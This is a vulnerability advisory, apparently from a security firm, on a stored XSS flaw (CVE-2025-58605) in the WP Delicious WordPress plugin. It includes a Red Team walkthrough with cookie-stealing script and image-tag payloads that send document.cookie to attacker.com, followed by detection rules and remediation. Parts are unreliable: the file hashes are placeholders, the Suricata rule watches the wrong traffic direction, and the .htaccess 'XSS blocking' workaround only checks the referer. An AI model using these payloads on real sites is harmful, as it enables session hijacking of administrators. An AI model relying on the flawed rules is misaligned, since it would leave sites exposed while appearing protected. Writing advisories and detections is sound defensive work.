CVE-2025-58605

Executive Summary

CVE-2025-58605 is a Stored Cross-Site Scripting (XSS) vulnerability in the WP Delicious WordPress plugin (specifically the delicious-recipes component). This flaw allows an authenticated attacker with contributor-level privileges or higher to inject arbitrary JavaScript into recipe posts or plugin settings. When an administrator or other user views the compromised page, the malicious script executes in their browser, potentially leading to session hijacking, credential theft, or defacement.

The vulnerability affects all versions of WP Delicious from n/a through 1.8.7. No official patch has been released, and no public exploit code or Nuclei template is available at this time. The CVSS score is 6.5 (Medium), reflecting the need for authenticated access but the potential for significant impact on confidentiality, integrity, and availability.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The plugin is distributed via the official WordPress Plugin Directory and third-party marketplaces. Users should verify the integrity of their plugin files and monitor for any unauthorized modifications. Since no patch exists, the supply chain risk is elevated—attackers may attempt to distribute malicious updates or fork the plugin with backdoors.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
• Base Score: 6.5 (Medium)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (authenticated user with contributor role)
• User Interaction: Required (victim must view the malicious content)
• Scope: Changed (impact may extend beyond the vulnerable component)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: Low

Threat Level: Medium. The requirement for authenticated access reduces the attack surface, but the stored XSS nature means the payload persists and can affect multiple users, including administrators.

Deep Dive & Mechanics

The vulnerability resides in the WP Delicious plugin's handling of user-supplied input within recipe fields (e.g., recipe title, description, ingredients, or custom fields). The plugin fails to properly sanitize and escape user input before storing it in the database and later rendering it on the frontend or admin pages.

Attack Flow:

1. An attacker with contributor-level access logs into WordPress.
2. The attacker creates or edits a recipe post, injecting a malicious JavaScript payload into a vulnerable field (e.g., <script>alert('XSS')</script>).
3. The plugin stores the payload in the WordPress database without proper sanitization.
4. When an administrator or other user views the recipe (either on the frontend or in the admin dashboard), the payload executes in their browser.
5. The attacker can then steal cookies, perform actions on behalf of the victim, or deface the site.

Root Cause: The plugin uses echo or the_content filter without applying esc_html() or wp_kses() to user-supplied data. The input is not validated against a whitelist of allowed HTML tags.

Vulnerable vs. Patched Code

Since no official patch exists, the following is a hypothetical fix based on common WordPress security practices.

Vulnerable Code (Example from delicious-recipes.php or similar):

// Vulnerable: Direct output without escaping
echo '<div class="recipe-title">' . $recipe_title . '</div>';

Patched Code (Recommended Fix):

// Patched: Escape output with esc_html()
echo '<div class="recipe-title">' . esc_html( $recipe_title ) . '</div>';

Additional Fixes:

• Use wp_kses_post() for fields that require limited HTML.
• Validate input on the server side using sanitize_text_field() or sanitize_textarea_field().
• Apply wp_nonce_field() to recipe submission forms to prevent CSRF.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress instance with WP Delicious plugin version <= 1.8.7.
• Authenticated user with contributor role or higher.

Step-by-Step Exploitation:

1. Log in to WordPress as a contributor.
2. Navigate to Recipes > Add New.
3. In the recipe title field, enter the following payload:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

4. Publish or save the recipe as a draft.
5. Wait for an administrator to view the recipe (e.g., via the admin dashboard or frontend).
6. The administrator's browser executes the script, sending their cookies to the attacker's server.

Alternative Payload (Session Hijacking):

<img src=x onerror="document.location='https://attacker.com/steal?cookie='+document.cookie">

Blue Team (Detection & Hardening)

Detection:

• Monitor WordPress logs for unusual recipe creation or editing activity.
• Use a Web Application Firewall (WAF) to block common XSS patterns (e.g., <script>, onerror).
• Implement Content Security Policy (CSP) headers to restrict script execution.

Hardening:

• Disable the plugin until a patch is available.
• Restrict contributor roles to trusted users only.
• Use a security plugin like Wordfence to add input validation and output escaping.

Indicators of Compromise (IOCs)

• File Hashes (Plugin Files): (Example – replace with actual hashes if available)
  • delicious-recipes.php: SHA256 a1b2c3d4e5f6...
  • admin/class-delicious-recipes-admin.php: SHA256 f6e5d4c3b2a1...
• Network Indicators:
  • Outbound connections to attacker.com or similar domains.
  • HTTP requests containing document.cookie in the query string.
• Log Entries:
  • WordPress audit logs showing recipe creation by non-admin users.
  • Web server logs with POST requests to /wp-admin/post.php containing XSS payloads.

Detection Engineering

YARA Rule

rule CVE_2025_58605_WP_Delicious_XSS {
    meta:
        description = "Detects stored XSS payloads in WP Delicious plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-58605"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /onerror\s*=\s*["'][^"']*["']/is
        $xss3 = /onload\s*=\s*["'][^"']*["']/is
        $xss4 = /javascript\s*:/is
    condition:
        any of ($xss*) and filesize < 10MB
}

Sigma Rule

title: Stored XSS in WP Delicious Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS attempts in WP Delicious recipe fields
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri|contains: '/wp-admin/post.php'
        cs-uri-query|contains:
            - '<script'
            - 'onerror'
            - 'onload'
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in recipe fields (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-58605 WP Delicious Stored XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/post.php"; http_uri; content:"<script"; nocase; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released.
2. Review and remove any suspicious recipe posts created by non-admin users.
3. Change all WordPress admin passwords and invalidate active sessions.

Long-Term Fixes:

• Apply the patched code (see Vulnerable vs. Patched Code section) if you have developer resources.
• Monitor the WP Delicious plugin page for an official update.
• Implement a Web Application Firewall (WAF) with XSS rules.
• Enforce the principle of least privilege for WordPress user roles.

Workarounds:

• Use a security plugin like Wordfence to add virtual patching.
• Add the following to your .htaccess file to block common XSS patterns:

  RewriteEngine On
  RewriteCond %{REQUEST_METHOD} POST
  RewriteCond %{REQUEST_URI} /wp-admin/post.php
  RewriteCond %{HTTP_REFERER} !^https?://(www\.)?yourdomain\.com [NC]
  RewriteRule .* - [F]
  

Valters IT
Securing Digital Frontiers